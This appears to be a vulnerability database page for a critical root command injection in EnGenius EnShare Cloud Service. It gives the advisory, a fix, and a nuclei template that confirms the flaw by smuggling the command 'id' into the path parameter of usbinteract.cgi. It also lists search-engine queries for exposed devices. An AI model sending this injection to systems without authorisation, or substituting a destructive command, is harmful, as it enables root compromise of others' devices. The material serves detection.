EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

criticalseverity

10CVSS score

24.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.

Impact

Unauthenticated attackers can inject and execute arbitrary shell commands with root privileges through the path parameter in usbinteract.cgi, achieving complete system compromise.

Fix

Upgrade EnGenius EnShare Cloud Service to version 1.4.12 or later that properly sanitizes user input in CGI scripts.

How to confirm it

Send: POST {{path}}
Positive when: regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body) and contains(body, "Content-type: text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-34035 -u <target>

The full check

id: CVE-2025-34035

info:
  name: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution
  author: intelligent-ears
  severity: critical
  description: |
    An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary shell commands with root privileges through the path parameter in usbinteract.cgi, achieving complete system compromise.
  remediation: |
    Upgrade EnGenius EnShare Cloud Service to version 1.4.12 or later that properly sanitizes user input in CGI scripts.
  reference:
    - https://cxsecurity.com/issue/WLB-2017060050
    - https://www.exploit-db.com/exploits/42114
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34035
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2025-34035
    epss-score: 0.24839
    epss-percentile: 0.97921
    cwe-id: CWE-78
  metadata:
    verified: true
    shodan-query: html:"/web/cgi-bin/usbinfo.cgi"
    fofa-query: body="/web/cgi-bin/usbinfo.cgi"
    max-request: 1
  tags: cve,cve2025,engenius,enshare,rce,vkev,vuln

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=7&path="|id||"

    payloads:
      path:
        - "/web/cgi-bin/usbinteract.cgi"
        - "/cgi-bin/usbinteract.cgi"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body)"
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from